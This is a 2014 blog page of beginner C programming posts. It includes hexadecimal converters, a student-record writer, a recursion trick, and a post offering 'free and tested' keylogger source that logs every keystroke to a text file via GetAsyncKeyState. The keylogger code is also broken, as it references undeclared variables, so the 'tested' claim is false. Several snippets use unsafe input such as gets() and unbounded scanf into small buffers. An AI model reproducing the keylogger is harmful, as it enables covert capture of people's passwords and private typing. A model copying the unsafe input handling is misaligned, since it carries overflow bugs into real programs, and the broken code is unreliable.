Monday 20 January 2014

Ebooks tutorial for C-programming (Simplest Version)

Now learn more and grow by reading short of ebooks provided here and make your own program by grabbing info from books. If you have any difficulty in any part of book please discuss and comment.

Download best dev c++ compiler

Now its need to experimentise with yourself. Download dev c++ compiler and run your own code. Since it is c++ compiler but you can still compile your c code in this ide.

Very simple code to convert hexadecimal Number to decimal Number

#include<stdio.h>

int main(){
   int hex, dec;
   printf("\nEnter the value in hexadecimal :");
    scanf("%x", &hex);

    printf("%d", hex);
    return 0;
}

Monday 13 January 2014

c program to convert hexadecimal value to decimal value

#include<stdio.h>
#include<stdlib.h>

void x(char *);
int f1(int,int);
int hex()
{
    char a[10];
    char* b;
    printf("\nEnter the hexdecimal value : ");
    scanf("%s",&a);
    x(a);
return 0;
}
void x(char *a)
{
int sum=0,b;
int c=strlen(a);
b=c;
for (int i=0;i<c;i++)
{
if(a[i] >= '0' && a[i] <= '9')
{
    sum = sum + f1(a[i]-'0',b);
    b--;
}
else if(a[i] >= 'a' && a[i] <= 'f')
{   
    sum = sum + f1(a[i]-'a'+10,b);
    b--;
}
else if(a[i] >= 'A' && a[i] <= 'F')
{   
    sum = sum + f1(a[i]-'A'+10,b);
    b--;
}
else printf("Error value entered\n");
}
printf("\nResultant decimal value is :   %d  \n",sum);
}

int f1(int a, int b)
{
int d;
int p=1;
if(b != 0){
for (int i=1;i<b;i++)
    p = p*16;
}
    d=a*p;
return d;
}

Sunday 12 January 2014

c program for keylogger for free and tested

/* c code for kelogger  */
/* date : 11-jan-2014  */
/* author :  Kriptino   */

#include<windows.h>
#include<Winuser.h>
#include<iostream>
#include<stdio.h>
#include<stdlib.h>
using namespace std;

int Save (int key, char *file);
int main()
{
    char i;

   printf("This is my simple keylogger.");
   printf("\nloading... \n\n");
   system("color c");
   while(1)
   {
       for(i=8;i<=190;i++)
      {
          if(GetAsyncKeyState(i)==-32767)
              Save(i,"Key_file.txt");
        }
     }
return 0;
}

int Save (int key,char *file)
{
if((key==1)||(key==2))
      return 0;

   FILE *ptr;
   ptr=fopen(file,"a+");
   if(key==8)
       fprintf(ptr,"%s","[BackSpace]");

   else if(key==13)
       fprintf(ptr,"%s","\n");

   else if(key==32)
       fprintf(ptr,"%s"," ");

   else if(key==VK_TAB)
       fprintf(ptr,"%s","[TAB]");

   else if(key==VK_SHIFT)
       fprintf(ptr,"%s","[SHIFT]");

   else if(key==VK_CONTROL)
       fprintf(ptr,"%s","[CONTROL]");

   else if(key==VK_ESCAPE)
       fprintf(ptr,"%s","[ESCAPE]");

   else if(key==VK_END)
       fprintf(ptr,"%s","[END]");

   else if(key==VK_HOME)
       fprintf(ptr,"%s","HOME");

   else if(key==VK_LEFT)
       fprintf(ptr,"%s","[LEFT]");

   else if(key==VK_UP)
       fprintf(ptr,"%s","[UP]");

   else if(key==VK_RIGHT)
       fprintf(ptr,"%s","[RIGHT]");

   else if(key==VK_DOWN)
       fprintf(ptr,"%s","[DOWN]");

   else if(key==190 || key==110)
       fprintf(ptr,"%s",".");

    else
       fprintf(rptr,"%s",&key_stroke);
   fclose(ptr);

   return 0;
}

c-code to store student information in a text file

#include<stdio.h>
#include<stdlib.h>
struct student{
    int roll;
    int class_no;
    char name[80];
};
int prog9(){
    FILE *fp;
    struct student s;
    char str[120];
    fp = fopen("d:\\recd.text", "a");
    printf("\nenter the roll : ");
    scanf("%d", &s.roll);

    printf("\nenter the class : ");
    scanf("%d", &s.class_no);
   
    fflush(stdin);
    printf("\nenter the name : ");
    gets(s.name);
   
    sprintf(str, "%d    %d    %s", s.roll, s.class_no, s.name);
    fputs(str, fp);
    fclose(fp);
         
    return 0;
}

c program to print 0 to 5 and 5 to 0 without using any loop

#include<stdio.h>
#include<stdlib.h>

int main(){
    static int v = 0;
    static int r = 5;
    {
    if(v < 6)
    {
        printf("    %d",v++);
        main();
    }
    if(r >= 0 )
    {
        printf("    %d",r--);
        main();
    }
    }
return 0;
}